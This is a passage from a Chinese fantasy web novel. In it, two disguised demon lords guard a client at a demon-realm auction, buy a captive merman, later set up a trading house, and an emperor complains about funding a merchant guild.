但是签完合同的谢璟想起了一个事,他进不去可以抢啊,于是他看向了秦兰时,有些不理解。 而秦兰时也恰好看了过来,戴着面具谢璟分辨不出此时秦兰时到底是什么表情,只见秦兰时竖起一根食指,抵于面具底部似乎是嘴唇的地方,似乎在说:安静,不要多问。 趁着林异去拿出他的一半定金给他们的之际,谢璟传音过去问了:“怎么突然要去拍卖会?就算要去我们完全可以抢……” “嘘,这种事情没必要自己去做,得低调一点,你知道拍卖会背后的主人是谁吗?”秦兰时轻轻摇了摇头,语重心长地说着。 “知道,尹离郁,除了她这个魔域还有谁那么有钱?”谢璟当然知道了,毕竟他如今大部分财产都来自于尹离郁。 “你觉得日后我们若要插手商道方面的事情,如果不想被人察觉,我们是不是应该有个出头人?”秦兰时说到这里就看向那林异:“他方才并没有糊弄我们,而是切实地弄了份合同,甚至也不会多问我们的名字是真是假。” “魔尊大人,你觉得此人如何?”伸手一指过去,那林异还在数着定金,看上去特别仔细。 “……还待观察。”谢璟再次想起那大饼,不由得舔了舔略有干燥的嘴唇。 “那就再看看,反正你只要那么想就好了,我们魔主魔尊是过来寻找有用之人才特地隐藏身份的。”秦兰时拍了拍谢璟的肩膀,摆出长辈的架子与语气:“你还有得学呢~” 谢璟又是一巴掌拍开肩膀上的手,好好说话就好好说话,动手动脚干什么,他魔尊是什么人都能摸的吗? 牢记魔尊的王霸之气的谢璟很不乐意地往旁边挪了几步,等林异把定金准备好看过来后发现这黑白罗刹俩人之间空出一大段距离。 “…两位?”林异小心翼翼地问出声。 “走了。”谢璟拿走那定金就准备往拍卖会所在的地方走。 “哈哈!他就是这样,不用管哈。”秦兰时摆了摆手,然后也伸出手拿起他那定金:“走吧,我们现在去拍卖会?话说进去就不会被抢劫了吧?” “嗯,在里面没什么事,但是结束后走出去就有事了……”林异想到这里就有点担心,不过他还是很有合同精神的:“但是,按照合同,只要离开这里交易所,去到地面,我就能用我的瞬移符离开了,所以你们只需要保护我到那个时候就可以走了。” “OK~”秦兰时比了个OK手势给林异看。 “欧克是什么?”林异不解其意。 “就是好的意思~”秦兰时给人解释道。 而谢璟已经走在前面喊道:“还不过来?愣那里做什么?” “来了!”秦兰时当即就一把扛起林异快步跑过去了。 而在他们走在路上的时候,他们的确感受到四周的视线,可能是拍卖令那特有的气息发挥作用了,所以说这个拍卖会就是想把过来拍卖的羊从头到脚薅一遍是吧。 谢璟冷冷地拔出剑握在手里,在有人扑过来抢的时候就斩过去,那人当即被那威力十足的一剑给击飞到天上,并且飞得很远。 其他看到这一幕的魔顿时心思涌动起来,其中就有之前被谢璟砍了衣服的两魔,他们很是崇拜地看着谢璟。 “这位大人风姿依旧呢~” “太厉害了~” 因为谢璟这一击下,其他欲要抢劫的都默默缩下去,而感觉自己能行的则在掂量自己的实力能不能动。 其中有人觉得现在抢一个拍卖令没必要,正暗自戳戳喊人等拍卖会结束后再抢。 总之,一路顺利。 在林异看到拍卖会大门的时候可谓是眼含热泪:“终于!到了!!!” 这一路上截胡他们的人可真不少,但是全被谢璟给打飞了,全过程中秦兰时的剑都没有出鞘。 一入拍卖会,入目的是金碧辉煌的宫殿,往里走,会发现这拍卖会有三层,一层是普通商人,第二层的实力已经不错了,第三层更不用说了,顶层的顶层。 而林异带着秦兰时他们来到了第一层那里,并且坐在大座位上,正准备和其他人挤一挤。 就在这时,秦兰时和谢璟就像左右护法那样坐在了林异的两边,许是身上的气势很足,其他人并没有怀疑他们俩只是个护卫。 而拍卖会就在这个时候,终于徐徐往外展开一页画卷,只见一位美貌女子穿着优雅的长裙,头戴金饰,就连面具也是特制的金纹白面。 “琳琅拍卖会……现在开始,请看我们的第一件拍卖品——” 轰隆,一个巨大的笼子被人抬到台上,掀开那黑布,露出里面盘起来的凶兽,那凶兽似乎是条黑蛇,一共有三个头,正阴森地注视着眼前的众人。 “三头蛇。” 第284章 拍卖结束 拍卖会进行得非常顺利,在这里一切都是价高者得,而到了外边就是实力强者得了。 林异正瞪大眼睛并且全神贯注地等待他要的那个药草,终于,药草来了,那是可以治疗他师父神识的蕴神灵草,是拍卖会从修仙界那边进货过来的。 毕竟魔域的土不好长草。 与此同时,秦兰时非常无聊地托着下巴看着这个拍卖会,东西都很不错,但是他没有钱拍,所以他只能看不能买,这就有些昏昏欲睡了。 另一边,谢璟也整个人懒散地靠在椅子上,无聊地看着上边的拍卖会发呆,并且还无比出神地想他特地过来难道就是为了赚护卫的这份钱吗? 而这些林异都不知道,因为他眼里只有那蕴神灵草,这灵草有温养神识的功效,很快,草来了,而他也积极地举起了牌子报价。 “一千!!” “……这叫价原来是那么便宜吗?”秦兰时侧头隔着个林异和谢璟说悄悄话,甚至也不避着其他人一点。 “…没想到你那么有钱?”居然觉得一千是小数目? “话本子里说拍卖会叫价都会叫上十几万的。”秦兰时的脑子已经被那些话本子毒害了不少,这就导致他现在露出了些许失望的表情来。 “你也说是话本子了,真当有钱人遍地都是吗?”谢璟挑了挑眉,内心丝毫不承认自己就是想着话本子里的阴谋论才跑路的。 话音刚落,那边的突然有人举手报了个价:“十万。” 林异举牌的手一抖,并且转头看了过去。 然后他只看到了一张面具,看不到里面的脸。 谢璟:…… “你看,我就说话本子里的报价十万是真的!!”秦兰时觉得自己赢了,当即高兴地说:“看吧看吧!” “看到了,不要吵。”感觉自己输了的谢璟恶狠狠地看向那个突然报价十万的家伙,谁,谁那么有钱,不就是一棵草吗? 林异咽了一下口水,然后颤抖地举起牌子,开口道:“十万零一……” “十万零一一次!十万零一两次!” “十一万。”这人淡定地继续报数。 “……该死的有钱人。”这下子秦兰时也乐不起来了,因为这种行为简直是让人羡慕嫉妒恨啊。 谢璟看了一眼那边的人什么也没说,他换了个姿势坐好,手轻轻按在了剑柄上。 “……十一万零一。”与此同时,他们的雇主林异非常唯唯诺诺地举起了牌子,然后增加了一位数的钱。 “你的预算是多少?”谢璟偏头问了林异一句。 “减去要给你们的钱后,我只有二十万了……”林异继续唯唯诺诺,并且看了那边那个人一眼:“…可能,是我运气不好吧。” 而那个人继续叫价:“十二万!!!” 再这样下去怕是会直接叫到二十万。 “故意的?”秦兰时也在这个时候明白了谢璟询问林异的意思:“那这个拍卖行很宰客了。” 拍到最后倾家荡产,如果还被抢,那可谓是惨得不能再惨了。 “……可能是因为我没有带他们提供的护卫的缘故吧。”林异小小声地继续十二万零一地加价:“他们会故意盯着那些没有买护卫的人看,然后让这些人花大价钱买自己想要的东西。” “…谢二啊,看来他们觉得自己拍卖行的护卫比你要好呢?”秦兰时突然开口拱火道:“这也太可恶了吧!这完全就是看人下饭,而我们俩就是被看的那个,雇主是因为带了我们俩才被如此被鄙视的!” 虽然这拍卖会里也有其他没有带护卫的人,不过秦兰时这句话也是有点合理的。 谢璟听到这话皱了皱眉,倒不是被激成功,而是觉得此人现在这般说话必然有诈,但是他现在是准备看看林异怎么应对的,但是这种看碟下菜的情形对方好像也不好应对。 “有些时候,需要付出点实际行动才能获得好感哦?”秦兰时又开始说起了谜语,林异听不懂,他只是一味地小心加价。 现在价钱已经来到了十三万零一。 眼看着那叫价人就要喊出十四万的时候,谢璟出手了。 只见谢璟啧了一声,他那浑身的气势突地一变,变得极为有压迫感,坐在他附近的人差点因为这威压而喘不过气,至于那被迫承受其所有威压的叫价人顿时就浑身颤抖并且歇了声,因为他连话都说不出来了。 “十三万零一一次!十三万零一两次!!” 在这个拍卖会里,并没有制止谢璟这个手段,因为是在合理的范围里的,谢璟他没有打人,也没有做什么损害拍卖会的举动,他只是让某个人闭上嘴而已。 “十三万零一三次!恭喜这位公子!!” 那台上的姑娘也没说什么,而是笑吟吟地让林异拍下了想要的蕴神灵草。 林异感动得就要落泪了,并且无比感激地看了一眼谢璟,谢璟因为林异戴着面具并没有看到他感动的双眼,而他正在想着这个拍卖会什么时候结束。 接下来林异就没有想要拍卖的东西了,所以他静静地等着拍卖会结束,而在这个时候,拍卖会上又拍上了活物。 一个黑布盖着的大笼子,里面装着什么尚未可知,但是在拍卖会上一般能拿出来拍卖的活物都是不错的。 随着黑布的掀开,里面坐着的是一位无比美丽的鲛人,他有着长长的蓝发,发丝微卷,银色的鱼尾正轻轻地扫着笼子上的栏杆,而那双冷漠的眼神扫过来的时候对这些魔族带上了几分狠辣,可终究是笼中鸟,插翅难逃。 “……鲛人?”秦兰时有些意外了,但是好像也不是很意外,毕竟这鲛人的嗓子常被人说是神明吻过的,只不过鲛人王有点不是很会管理啊,怎么那么多鲛人出事。 如果鲛人王得知秦兰时这样想会很苦逼地说,咋的,难不成他还能拦着这些鲛人全在领地里不要出去吗?那些向往自由的鲛人还能困住他们不成? “鲛人?”谢璟也难得有些意外,不过不知道为什么看到这个种族他总有一种记忆回笼感,但是记忆早就被洗去了,谢璟想不起一点。 “啊?你们很意外吗?”已经获得蕴神灵草的林异开始给他们解说起来:“听说咱们尹魔主和外边的商船有点合作,所以抓捕这鲛人并不是很难。” “哦,原来是这样啊。”秦兰时点点头,不过他好像听山玉说过谢璟和鲛人曾经有一段渊源。 “你的钱够拍下他吗?”谢璟突然开口道。 “啊?鲛人吗?”林异看了一眼这鲛人,分析了一下其价值:“不够乖,看上去没调教好,所以价格不会很高。 “好,你帮我买下他,钱可以从我的工资那里扣。”谢璟点了点头,然后说:“不行就后边让时一保护你,我去抢劫一下。” “…我,我努力?”林异也不确定自己能不能成,可自己的救命恩人都发话了,于是他又点了点头:“我努力拍到给你。” “……谢二,你要这个干什么?”秦兰时想来想去都想不明白谢璟为什么要做出这种举动。 “你不知道吗?”谢璟倒是有些意外了,于是缓缓看过去:“鲛人泪很贵的,哭得越漂亮的越贵。” 秦兰时:…… 是他不够活阎王了。 于是秦兰时低眉顺眼地说:“您说得是,您继续。” 反正这鲛人落哪个魔手里都不会好过,还不如落他们手里为他们哭点珍珠卖些钱。 于是,在林异开始拍鲛人的时候,他发现大伙们好像都不敢与他争了,先前那几万几万报价的叫价人安静如鸡。 所以林异非常顺利地把鲛人拍到了手,而后他们也没有再拍卖什么东西,就一起去后台拿拍到的物品了,而这鲛人可谓是长得极为好看的,不过若是不够乖顺也会贬值,除非有人好这一口。 秦兰时走过来看看这后台,他第一反应就是好多钱,第二反应要不是实力不允许他就抢走了。 谢璟也特别安静地看了一眼四周,他什么也没说,但是秦兰时莫名的觉得谢璟和他想的是同一个方面。 很快他们要拿着东西走出这拍卖会了,林异把草谨慎收起来了,那么鲛人呢?这个活物怎么带出去? 只见谢璟为了心爱的鲛人泪,拿出了他心爱的小推车,只需要鲛人躺在上面就行,而秦兰时看着那推车可谓是恋恋不舍。 “我能和他坐一块吗?”秦兰时也想被推着走。 “滚,不能。”谢璟拒绝了秦兰时,并且说:“他好歹值好几万,你值吗?” “我当然值!我在我山玉那里可是无价之宝!给多少都不换的那种!!”秦兰时顿时大怒,并且厉声反驳道:“你根本不懂我的价值!!” 鲛人低眉顺眼的,看上去很乖,他什么话也没说。 而林异也颤颤巍巍地准备走出拍卖会,迎接被抢的命运。 而秦兰时则在和谢璟的斗嘴里走出了拍卖会,一出去,四周的氛围简直是天差地别,方才在里头的热情恭敬在外头变成了冷冷的杀意。 …… 看来,要进入疯狂战斗模式了。 第285章 88889 剑影丛生,只见那杀意暗藏其中,却看那衣摆一轻,既徒留那遍地落尘,谢璟举着剑,使出了身体记忆里那招天青剑法,与此不同的是,那曾闪烁明亮的雷光如今变成了阴沉黑雷环绕其身。 谢璟迎击而上,一招一式都带着那人独有的冷冽,任哪个正道弟子在此都会识得此剑法独有凛冽,但细看却是拆不出几分招来,更甚者还能念出那句正道间芳华千万流的赞语: 天青一落,天地遂清。 秦兰时看到熟悉的剑法也不由得发散思维起来,莫不是这些魔修也曾起过这想法,故意让这天青剑法入魔族中来斩出个万世恶名,好污了他家师兄的大清白? 这真是可恶至极。 林异小心翼翼地站在秦兰时后头往外看着,感叹了一声:“谢二这般厉害么?” “是呀是呀。”秦兰时闻言笑道:“不厉害可不行。” 毕竟这可是他师兄独创的剑法。 …… 等等,这谢璟就不能用其他剑招吗?万一被其他魔族认出来可怎么办? 于是秦兰时当即传音道:“换个招!你给我换个剑法,不许用这个,也不许用你身体记忆里的!你要是不想被认出来就不要用!” 谢璟挥剑的手一顿,似有些不解,但是又想起秦兰时曾经说过的故事,如果他当真是那位仙尊的弟子,那么这剑法的确不能用出来,不然他一个魔尊为了钱给人当护卫的事情传出来还得了。 失脸事小,万一那几个魔主因此对他起疑怎么办? 虽说谢璟不知其中会有什么疑,但是按照目前的情况,万一不让他出门怎么办。 一想到这里,谢璟手下一个使劲,直直地将那进攻者打飞了出去,而在这时,其中一位女子摇着铃铛出来,遍地突生荆棘,荆棘上绽开着朵朵赤红毒花,看上去危险得很。 另一边,一老者拿着拐杖敲着地板,四周狂风渐起,吹起那毒花的花瓣,铺天盖地地朝着谢璟而来,其中花瓣飞舞得错乱但有序,细看下却是一个暗藏杀机的困阵。 秦兰时见此便想着要不要搭把手,毕竟他摸鱼也只是看谢璟能够应付,只见他微微拔剑出鞘些许,那寒光乍泄一瞬,却又被其主人重新收入剑鞘内。 “欸?你不帮忙吗?”还在围观的林异本来看到秦兰时就要拔剑过去了,突地又见人收回去,连忙问道:“眼看要被困住了,这……没有关系吗?” “没有关系。”秦兰时淡淡地道,他笑了:“若是这阵都破不了,他就不是谢…二了。” 那声璟愣是被秦兰时止住喉间,然后缓缓咽下,他再次对林异比了个OK的手势:“别看谢二那样,其实他是个天才。” “……其实谢二一直很靠谱,不用看我也觉得他理应是天才。”林异早就觉得谢璟的气势不凡了,那骨子里的傲是藏不去的。 “那我呢?”秦兰时又追问了一句。 “…你……?”林异却是有些不知怎么说了。 “怎么?我不是天才?”秦兰时闻言倒是有些不乐意,他挑了挑眉,又追着那林异问去:“我不像天才吗?” “…你也是天才。”林异顿了顿然后继续说:“但是我感觉你是个沉稳的天才,好似没他傲。” “……你这人瞎说什么呢?谢璟能有我嚣张?”秦兰时不乐意了,直接抬手重重敲了林异脑袋一下:“给你一次重新说话的机会。” “……我就是感觉,就是感觉啊!不是说你不傲,只是你傲得比较沉稳,而且嚣张和傲能是一样的吗?”林异捂住了脑袋,这一击把人敲得晕乎乎的。 “……不与你这人说。”秦兰时收回了手,准备继续看那边的谢璟应对手法,不知为何他觉得此时没有记忆的谢璟或许还挺好的。 寻回了记忆也不知是否还有这等傲气。 想到这里,秦兰时又暗自苦笑了一下,自己的傲气都没全部拾回呢,怎的还担心上这谢璟了。 其实,正因为林异的话并没有说错什么,所以他才会给人一脑瓜子。 毕竟他这一生一直处于认命与不认命的阶段,而曾有一段漫长的日子他一直消沉着,就算后来振作了起来所拾回的傲气也远不及曾经的自己几分。 正因为明白天命如何难抗,所以才不能如此果断地一往无前。 需得再斟酌几番,再细想些,再多多布局,方才能赢得那天,可虽如此,这沉稳的天才倒也不是没有傲气,而是比以前更为谨慎,那种一往无前,天下无敌的气势当真是在自己能够打得败的情况下才敢发散啊。 不过嘛…… 当自己确信可以赢了这天后,那么自己当然是当之无愧的天才,到那个时候积累起来的怨气可以好好发泄了。 就在秦兰时边看戏边思考的时候,那边的谢璟已经用剑风扫落了不少花瓣,因为不能用熟悉的招数,所以他只用基础的招数进行反击。 可尽管如此,基础的剑招面对这千变万化的百花困阵还是有些不够用,于是谢璟长呼一口气,当即足尖轻点,突地凌空而起,雷声轰隆,飞速地朝着不远处的屋檐飞去,也顺便扫落一地花。 随后,他踩于屋檐顶部,双腿微张,摆出了一个秦兰时从未见过的起剑招姿势,剑举于头顶,前身倾去,双足伺机发力,瞧着颇有几分奇怪。 下一刻,在那百花困阵袭来的刹那,此剑招运风而起,凛冽的剑风在这一刻居然柔软得不像话,既将那花运于周身,化为已用。 居然是秦兰时从未见过的剑招,这一刻他暗地想着这奇怪的剑招莫不是谢璟这小子自个儿创的,那当真是天资聪颖了。 “看似柔,实际上内里刚得很,再细看下其中又有颇有几分奇趣,那花瓣被这剑法一弄,简直软似春水,再看他那步子所落处恰好都能将那百花困阵挡于身前。” “咦,再看一眼,这招数倒是有点像在空中把玩丝线,而其剑宛若那穿线银针,一起一落,倒是有几分柔情和灵巧来。” “妙啊!妙啊!看我现学几招!” 秦兰时一边分析一边赞叹着,然后就开始光明正大地学起谢璟这新创的剑招,一边看一边说:“倒是有几分那绣楼娘子的手上花的感觉……不过我好像听说他那绣工可谓是精美绝伦,这也有身体记忆,那很好了。” “…什么,什么啊?时一你说得我一点都听不懂。”林异可谓是学渣遇到学霸,学文遇到了学理,简直是一窍不通。 “没事,不用懂,那鲛人……”秦兰时再略一转头看去,发现那鲛人居然跑路了,那空空如也的小推车上一条鱼都没有了:“……我们的几万块没有了。” “什么?什么时候跑的?!”林异惊慌失措地看了过来,果真看不到一条鱼鱼的身影,当即要失声尖叫。 “可能是方才我们都在看谢二的时候跑的,快找找,可不能让这几万打水漂!”秦兰时想起钱就肉疼,再一想这好像不是自己的钱,又不是很肉疼。 而肉疼的林异当即就去找那美鲛人了,找来找去发现那美鲛人居然不知道什么时候靠着毅力爬到了另一边,似乎准备逃离这里。 “等等!!危险!”林异对着自己的好几万伸出手,并且发出了惊呼声,只见他迈开步子冲过去就要保护住那好几万。 而那价值好几万的鲛人闻声抬起头,然后就看到了那因为被攻击而朝自己飞过来的魔族一人,他本就是爬着,这又不是在水里,自己此刻又没什么灵力,所以也恢复不了人身。 本想着直直地被砸个准,谁知比此先到的是一阵炸耳的雷声,来得很凶,却将那魔族狠狠地扫到了另一边,与此同时,不知道什么时候,谢璟拿着剑站在了他面前。 男鲛人动了动唇,想要说点什么时候,而在这个时候,他突然想起自己曾听友人述说过那许多年前的事,说曾有恶修将鲛人带去了最黑暗的海,最后一抹刺眼雷光直直将那天空劈开,遂天下一片轰亮,黎明降临在他们身上,将他们引领归家。 而眼前拯救自己的男人似乎也带着些许不歇的雷霆,尽管是黑色的,没有那故事里的那般明亮,翻涌着魔气的昏色,却带着其独特的雷鸣。 “……你……” “88889,你为什么不好好待着?快回去。”谢璟毫不客气地说,他甚至不喊鲛人一声鱼鱼,而是直接用他拍下这个鲛人的价格称呼对方。 男鲛人:…… 很好。 感动消散了。 而这只不过是一瞬间的事。 第286章 都发家了 谢璟与秦兰时的实力摆在那里,所以护送林异和鲛人和草和钱出去都非常简单,在后边,那些人许是被打怕了,后边动手的人也少了不少,更多的就那么眼睁睁地看着他们昂首挺胸地离开了这里。 而从这一天起,琳琅交易会里就多了一种交易物,就是那黑白罗刹的真容,还有真实身份,其消息被人津津乐道了许久,但是都无人发现其真相究竟是如何。 当然,谁也不知道……在那之后,在黑白罗刹俩人护送那林异上去后,林异在上头补了全款后准备和这俩罗刹告别之时,却被他们不约而同地按住了肩膀,并道一声:“莫走。” “…做,做什么?”林异心里一惊,然后说:“我…我该给都给了,那鲛人全当是送你们的,还要干嘛?” 男鲛人失去了水和力气正软弱地躺在小推车上,他方才那一爬已经用尽了全部力气,所以现在正处于摆烂中。 “没别的,我们只是觉得你诚实守信,是个好人。”那白罗刹笑吟吟地说着,然后继续按住林异的肩膀道:“不知有没有考虑过参加一个大项目合作?” “嗯,很重要的合作。”黑罗刹点点头,然后也接着道:“需要你,但是不急,我们先去帮忙看看你师父。” “哎?不用!等等!真的不用!!”林异虽说守信用地给完了钱,但也是很担心自己的小命的,他知道自己万万不能将居住地暴露出去的,尤其是在魔域里。 “没事,我们乐于助人~”那白罗刹凭借这愉悦的声音居然从面具上看出了其嬉皮笑脸的欠揍样。 但是乐于助人这个词出现在魔域简直是怪异至极。 林异咽了一下口水:“我能拒绝吗?” “不能。”黑罗刹这般说着,随后又说:“再不走,就又有其他追兵了。” 林异犹豫了一下,林异认了,就这样他掏出他珍惜的瞬移符,带着这俩人一鱼地往家里头去,这一去,就看到了自己那虚弱的师父正趴在窗台上半死不活。 林异当即就是一惊,连忙过去扶起她,发现其状态更差了,又是急又是哭:“呜呜呜呜师父——徒儿幸不辱命地回来了!您没事吧!是不是徒儿回来晚了!” “神识方面的医术我略知一二。”就在这伤感的时刻,那白罗刹自右边探出个脑袋,笑嘻嘻地说着。 “我不知法子,但是我可以给你们报仇,我一杀一个准。”黑罗刹也自左边探出个脑袋,至于他为什么要对人那么好呢,可能是刚成立的公司需要招人吧。 那摊着的鲛人已经换了个姿势,他背对着这里的一切并且闭上了眼,决定眼不见心不烦,顺便逃避一下现实。 林异抱着师父呜呜呜呜地哭,然后一边哭一边点头,那么在后来…… “结果究竟如何呢?”坐在林异前面的那名男子好奇地问着,此刻他正拿着一杯茶,轻吹着茶上的白雾,一股清香笼罩着这华丽的屋子。 “结果就如姜公子你看到的那样,我答应了他们的要求,师父被医治好了,仇人也被杀得一干二净,而我也因此开始为他们办起了事。”林异温和地笑了笑,然后说:“这不,干了百年后就变成如今的规模了。” “哈哈……的确,就算我不在魔域都听说过你们渊行楼的威名。”那姜公子闻言一笑,摇了摇手中茶杯,然后放下:“所以,那位88889现在还叫88889吗?” “没想到姜公子居然还对这种小趣事感兴趣?告诉你也无妨,这88889后来便是这念心城里那位一曲难求的魏韵,听说还是我们七魔主大人的心尖宠呢?”林异听到这话继续脸上开心地笑道。 “心尖宠?”姜公子倒是有些好奇了:“他们是那种关系?” “有人说是,有人说不是,这是是非非混淆其中非要揪个是非对错倒是有些无趣。”林异摇了摇头,然后继续说:“还是先说你吧,姜公子,听闻你是代表你们浮生阁过来与我们做生意了……我很好奇,众人皆对魔避之不及,你们怎的偏逆之而行?” “这个嘛,我们皆为最新起的优秀商道修,大家都在猜我们背后究竟有何等的势力才能如此强大。”姜公子摇了摇手指,然后继续道:“这种时候,我们应该合作然后做大做强,这岂不美哉?” “哈哈,可你们是正,我们是邪,这世道哪有正邪同立的说法?”林异笑了几声,其中的笑声并未听出什么讽刺之意。 “可我们殊途同归?你们也很想要修仙界的东西吧?而我们也对魔域里的一些商品很感兴趣,所以才想着建立这条商路。”姜公子叹了口气,然后说:“我们浮生阁志向远大,如今已聚集了妖与人两族的合作,就差你们魔族了,所以才特地冒险来魔域寻求几分可能。” “确实感受到了。”林异点了点头,表示认同,然后说:“若是寻求魔族合作此事传出去,你们怕是要被那断恶庭盯到死罢?” “确实,但还是那句话,我们志向远大,想要在这魔域里也搏个好前程。”姜公子说着,又道:“莫急,我只寻你们这渊行楼合作,旁的魔不太合适。” “哦?此话怎讲?”林异挑了挑眉。 “莫要揣着明白装糊涂了,林副楼主,近几年谁不知你们这渊行楼直属念心城,而这念心城里的魔是全魔域最守规矩的魔,当然,这也是你们七魔主教化有功。”姜公子看着茶杯里的清茶,又晃了晃,让其泛起些许涟漪。 “非要直说,我更觉得你们能听懂人话,就如我们现在能谈坐那么久那样。”姜公子抬起头,毫不掩饰自己对其他魔族的评价:“尹魔主手下的太贪,楼魔主手下的太好战,江魔主与段魔主手下也是不好相与的,其他俩魔主不管事其手下魔族散如沙。” “我是来做生意的,不是来帮忙教化魔的,虽说那散沙的魔族确实很好忽悠,但是我们追求的应是最好的。”姜公子说完,继续看着那林异:“如何?要不要让你们魔主大人多考虑一下?” “啊…此事……”林异面上有些犹豫,毕竟秦兰时被正道那边背叛过,并且划清界限,除了对那正道那边的道侣念念不忘外,其他正道他都是要么打飞要么眼不见为净。 “可以啊。”突地,一道声音自窗边传来,待人转头看去,发现不知何时有人倚靠在窗边,手上正把玩着一把折扇,就这样,对着他们刷地一下展开,只见扇上写着金光闪闪的钱之大字。 “……您怎么突然来了?”不是说这件事交给他负责就行了吗?林异不解,但是林异选择退位让秦兰时坐上自己方才那个位置。 而秦兰时也摇着折扇,慢悠悠地走了过来,然后在那姜公子面前坐下,说:“你方才那提议我很感兴趣,但是这需要很多钱和精力,就算我们开放给你们一部分地方做准备,你们也应该明白其中的艰险才是。” “会有魔看你们不顺眼然后搞破坏哦?”秦兰时笑眯眯地用扇半遮脸。 “………”姜公子盯着秦兰时的脸看了一会儿后垂眸道:“这…我自然知晓,但是我们浮生阁什么样的路都走过来了,哪有因为不做就退缩的道理?” 虽然秦兰时对那个要开发的商道很感兴趣,因为这有利于后边他去修仙界找人,但是他可不能答应得那么快,这显得自己太白送了,这可是他和谢璟好不容易弄起来的渊行楼,兜里都有小钱钱了可不能那么没有逼格。 “这样啊,那姜公子真是好胃口,那不如我们给你们划大点的地做准备?刚好,我也想见识一下浮生阁的手段。”秦兰时倒是要看看他们怎么连接魔域和外边的,到时候可以学习一下。 “嗯,如果魔主大人您愿意的话。”姜公子点了点头,然后继续看着秦兰时的脸说:“也不是不行。” “…话说…你从刚才开始怎么一直盯着我看?你方才好像不是这般看林异的吧?”秦兰时面露些许怀疑,然后举起扇子又努力地挡了些许脸。 “你不看我又怎知我在盯着您看?应该是魔主大人您盯着我看才对。”姜公子面不改色地说:“莫要扭曲黑白。” “你倒是会强词夺理。”秦兰时听到这话倒是觉得有几分好笑,自从来了魔域当了魔主后啊,除了在谢璟那他都好久没有被人呛了,主要是那些魔都不敢呛他了。 林异在旁边数这地板有几块砖,反正现在的秦兰时又没生气,他也不用特地过去帮忙骂人。 “这不是强词夺理,我只是实话实说。”姜公子淡淡地说着,然后又问:“我千辛万苦过来魔域一趟,魔主大人您会为我和护卫准备好房间吗?” “……不是,怎么还要求上了?”秦兰时没有想到话题转换得如此之快,前一秒他们不是还在谈正事吗? “没有?”姜公子挑了挑眉,然后说:“是我不比那魏韵金贵了,甚至连房间都不给我准备么?” “……”怎么还有魏韵的事?这两件事是怎么连一起的? “我开玩笑的,我只是听闻过那魏韵是您的心尖宠,故用来此活跃一下氛围。”姜公子温和一笑,然后站了起来拱手一礼:“其实我们已然寻好住处,不劳魔主大人您费心了。” “……?”秦兰时不解,但是莫名的,他感觉到一阵心慌,可这魔主面具戴久后在人前扯下来可没那么容易,于是他就这样看着那姜公子轻轻甩了一下袖子就离开了。 最后…… “…他……他后边那几句话到底是什么意思?”秦兰时转头问向了林异,并且一脸呆滞。 “…我怎知?”林异哪里晓得这个,他方才一直在数砖:“需要我唤人去看一下他们住在哪里吗?” “嗯……去吧。”秦兰时点了点头……然后又狠狠地点了点头:“尽快。” 第287章 唉,要钱 百年已过,于旁的凡人理应又是一代新的王朝,但这些除了朝国,朝国的皇帝盛知许在朝国已成了一段永久不变的历史,他就那么坐在那里,看着这凡间的春秋更替。 他身边的小侍不断地更换着,留下的都是有灵根修仙者,而凡人则都随着漫长的时间一起归于尘土。 “陛下,那边来信了。”忠心耿耿的下属双手捧着卷轴为盛知许承上。 “浮生阁的?”盛知许并未在处理公文,他反倒是在无聊地逗着笼子里的鸟玩,笼中的鸟儿正叽喳叽喳地叫着。 “是,陛下。”属下低下头去,恭恭敬敬地回道。 “嗯,你念给朕听。”盛知许点了点头,然后取了一把小米递给那鸟儿吃。 “……”属下打开了卷轴看了里面的内容一眼,他可疑地沉默了一下。 “嗯?”盛知许看了过去,问道:“怎么了?” 属下清了一下嗓子,开始念了:“尊敬的陛下,您可还记得浮生阁与您一起的点点滴滴,我们一起度过了不少难关,感情也理应深厚无比,现如今我们的计划已经实施到了后头,资金已经……” “好了,朕知道了,你不用说了。”盛知许打断了属下那平静的念书声,然后指了指那边的桌子:“放那里去,朕过会看。” 不用想都知道那是谁寄过来的信。 就是那唐山玉寄过来要钱的。 自从百年前答应了与唐山玉那浮生阁的合作后,这厮就时不时寄信过来要钱,一开始的时候还特地全篇都是夸他的话,夸到最后盛知许都难掩嘴角上扬,然后就看到了后边那一段要钱的。 一开盛知许的确被夸舒服了,并且想着旧情也愿意资助一番,虽听唐山玉说这是他独立出随清宗自己搞的东西,但是盛知许非常确定里面也有些许随清宗的手笔。 可能找他要资助是想要掩人耳目,毕竟唐山玉说这是他偷偷摸摸搞的。 其实这也没什么,盛知许很理解。 但是,也不知是不是他批钱批得太痛快了,后边的要钱卷轴越来越多,虽说他也吃了不少其中的利润,并且,在开头那几次后,唐山玉就没有再夸过他这个陛下,而是直接了当地要钱了。 想到这里,盛知许难得感觉到几丝薄凉的人性,不过这也没什么,他都习惯了,只是……真的不肯认真点夸一下他再要钱吗? 虽说他作为皇帝听不少人夸过,但是唐山玉的夸法过于舒服了些,而且也没有利益关系在里头,因为唐山玉曾经说过一句皇帝狗都不当的话,并且还罗列了几条当皇帝的危害。 其中最多的…… “陛下!不好了!户部尚书又在大门口哭穷了!!”另一个属下急急忙忙地闯进来,和盛知许汇报道。 就是容易让人生气。 “……”盛知许听着户部尚书的名字就开始头疼了,户部就是管钱的,他好不容易熬到上一任的抠门户部尚书死了,结果居然是他儿子凭借出众的才华获得了这一任户部尚书的位置。 这儿子比其父更加抠门,也更不要脸,这不,都能在大门口和他玩一哭二闹三上吊了。 盛知许的神情突然沧桑了不少,他招了招手说:“让他进来,不要在大门口闹。” 那户部尚书一进来就呜呜地和他说起国库怎么样怎么样没有钱了,并且其中就有给浮生阁的资助钱,只见他扯着嗓子刚好嚎的时候,就看到一封熟悉的书信摆在了他家陛下的桌子上。 户部尚书一愣,然后他嚎得更加大声了:“陛下!这不行啊!这真的不行啊!我们真的没有钱了!真的一点都没有了!!不能再给那浮生阁钱了!!” “…浮生阁的事业目前进展得不错,他们说我们这里可以试试引进魔域的一些质地不错的矿石做交易,放心,现在有魔气也可以用温命司官的净魔法净化。”盛知许走过去,亲自扶起这抠门的户部尚书。 “这不是问题!!!”户部尚书大叫道:“这是钱的问题!!臣知道陛下很信任那浮生阁的阁主,可如今在其他地方有发现魔族的动作,得把钱花在攻防上,不能花在商道上了!!” “…唉,一点也没有吗?”盛知许微微皱眉,问道:“毕竟我们与浮生阁合作已久,户部尚书,我们能低价获得那妖族的商品可是托这浮生阁的福。” “…这……这……可赚钱也要有命花啊!如今那攻防……!”户部尚书还在纠结,毕竟他抠门得很。 “朕已派大将军过去查看边境情况了,户部尚书,不如等那大将军回来再说?”盛知许想起那已经出发的盛礼越,笑了一下。 